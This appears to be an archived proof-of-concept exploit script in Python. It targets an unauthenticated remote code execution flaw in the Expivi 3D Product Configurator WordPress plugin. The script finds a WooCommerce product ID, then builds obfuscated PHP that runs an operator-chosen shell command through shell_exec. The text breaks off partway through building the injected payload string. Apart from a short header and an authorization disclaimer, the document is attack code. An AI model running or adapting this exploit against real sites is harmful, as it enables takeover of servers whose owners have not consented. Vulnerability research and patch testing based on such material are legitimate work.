#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/kayes817/CVE-2026-103889 (see README for attribution/license)
# Exploit Title: Expivi 3D Product Configurator <= 2.16.2 - Unauthenticated RCE
# Google Dork: N/A
# Date: 2026-10-11
# Exploit Author: Keenan Scott - scottk817 (https://github.com/kayes817)
# Discovery: Osman Hussein — Onvio B.V. (https://www.linkedin.com/in/osman-hussein-136684198/)
# Vendor Homepage: https://www.expivi.com/
# Software Link: https://downloads.wordpress.org/plugin/expivi.2.16.2.zip
# Version: <= 2.16.2
# Tested on: Source-verified against Expivi 2.16.2
# CVE: CVE-2026-103889
# CWE: CWE-434
"""CVE-2026-103889 PoC. Use only on systems you are authorized to test."""
import base64
import json
import secrets
import ssl
import urllib.parse
import urllib.request
# Globals - Edit as needed.
TARGET_URL = "http://example.com/"
COMMAND = "id"
TIMEOUT = 20
VERIFY_TLS = True
PRODUCT_ID = None # Set an ID if autodiscovery doesn't work.
def php_string(value):
return ".".join(f"chr({byte})" for byte in value.encode())
def find_product(opener):
if PRODUCT_ID:
return PRODUCT_ID
for route in ("/wc/store/v1/products", "/wp/v2/product"):
separator = "&" if "?" in TARGET_URL else "?"
query = urllib.parse.urlencode({"rest_route": route, "per_page": 1})
try:
with opener.open(TARGET_URL + separator + query, timeout=TIMEOUT) as response:
products = json.load(response)
if products:
return int(products[0]["id"])
except Exception:
pass
raise RuntimeError("No published WooCommerce product was found")
def main():
context = None if VERIFY_TLS else ssl._create_unverified_context()
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=context))
opener.addheaders = [("User-Agent", "CVE-2026-103889-PoC/1.0")]
product_id = find_product(opener)
marker = "CVE_" + secrets.token_hex(8)
php = (
f"echo {php_string(marker)}.base64_encode((string)shell_exec("
f"{php_string(COMMAND)})).{php_string(marker)};exit;"
)
image = (
'x">